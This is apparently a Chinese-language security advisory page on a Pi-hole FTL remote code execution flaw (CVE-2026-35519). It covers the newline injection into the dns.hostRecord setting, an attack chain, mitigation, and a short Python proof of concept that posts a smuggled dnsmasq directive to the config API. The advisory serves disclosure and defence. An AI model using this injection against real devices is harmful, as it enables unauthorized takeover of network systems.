IPBUF安全漏洞报告
English
CVE-2026-35519 CVSS 8.8 高危

CVE-2026-35519 Pi-hole FTL 远程代码执行漏洞

披露日期: 2026-04-07

漏洞信息

漏洞编号
CVE-2026-35519
漏洞类型
远程代码执行
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Pi-hole FTL

相关标签

RCE远程代码执行Pi-hole配置注入DNSCVSS-8.8

漏洞概述

Pi-hole FTL引擎在6.0至6.6之前的版本中存在严重的远程代码执行(RCE)漏洞。该漏洞源于DNS主机记录配置参数(dns.hostRecord)的输入验证不足。攻击者可以通过注入换行符字符,在配置文件中插入任意dnsmasq配置指令。由于Pi-hole FTL负责处理DNS解析和统计信息,这一缺陷允许经过身份验证的攻击者利用API接口进行恶意配置注入。一旦注入成功,攻击者即可在底层系统上执行任意命令,完全控制受影响的设备。官方已在6.6版本中修复了此问题,建议用户尽快升级以防范潜在攻击。

技术细节

该漏洞的根源在于Pi-hole FTL引擎在处理DNS主机记录配置时,未能正确过滤或转义用户输入的换行符(\n)。在正常情况下,`dns.hostRecord`参数用于静态地将域名映射到IP地址。然而,由于缺乏严格的输入清洗,攻击者可以在该字段中插入换行符,从而突破单行配置的限制。这使得攻击者能够追加任意有效的dnsmasq配置指令。dnsmasq是一个功能强大的DNS转发器和DHCP服务器,支持通过配置文件执行特定操作。攻击者可以利用这一点,通过配置`dhcp-option`参数或利用`server`指令结合特定的Shell命令封装技术,最终触发命令执行。尽管攻击需要低权限认证(如管理员或API访问权限),但一旦获得访问权,利用此漏洞可绕过系统安全机制,以运行Pi-hole服务的用户权限(通常是root)执行系统命令,导致服务器被完全接管。

攻击链分析

STEP 1
1. 信息收集
攻击者扫描网络以识别运行Pi-hole服务且版本在6.0至6.6之间的目标。
STEP 2
2. 获取认证
攻击者通过钓鱼、暴力破解或利用其他漏洞获取Pi-hole Web界面的低权限账户或API令牌。
STEP 3
3. 漏洞利用
攻击者向API发送特制的POST请求,在dns.hostRecord参数中注入包含换行符的恶意dnsmasq配置指令。
STEP 4
4. 命令执行
Pi-hole FTL重载配置,解析注入的恶意指令,导致在系统底层执行任意代码,攻击者获得控制权。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 import requests # Target configuration target_url = "http://<pi-hole-ip>/api/config" api_token = "<valid-api-token>" # Malicious payload injecting a newline and a dnsmasq directive # This attempts to add a dhcp-option which can lead to command execution in certain contexts payload = "example.com 1.2.3.4\ndhcp-option=6,8.8.8.8" headers = { "Authorization": f"Bearer {api_token}", "Content-Type": "application/json" } data = { "config": { "dns.hostRecord": payload } } try: response = requests.post(target_url, json=data, headers=headers) if response.status_code == 200: print("[+] Payload injected successfully. Configuration updated.") else: print(f"[-] Failed to inject payload. Status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}")

影响范围

Pi-hole FTL 6.0
Pi-hole FTL 6.1
Pi-hole FTL 6.2
Pi-hole FTL 6.3
Pi-hole FTL 6.4
Pi-hole FTL 6.5

防御指南

临时缓解措施
如果无法立即升级,请严格限制对Pi-hole API的访问权限,并监控配置文件的异常修改。确保只有受信任的管理员能够修改DNS设置。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表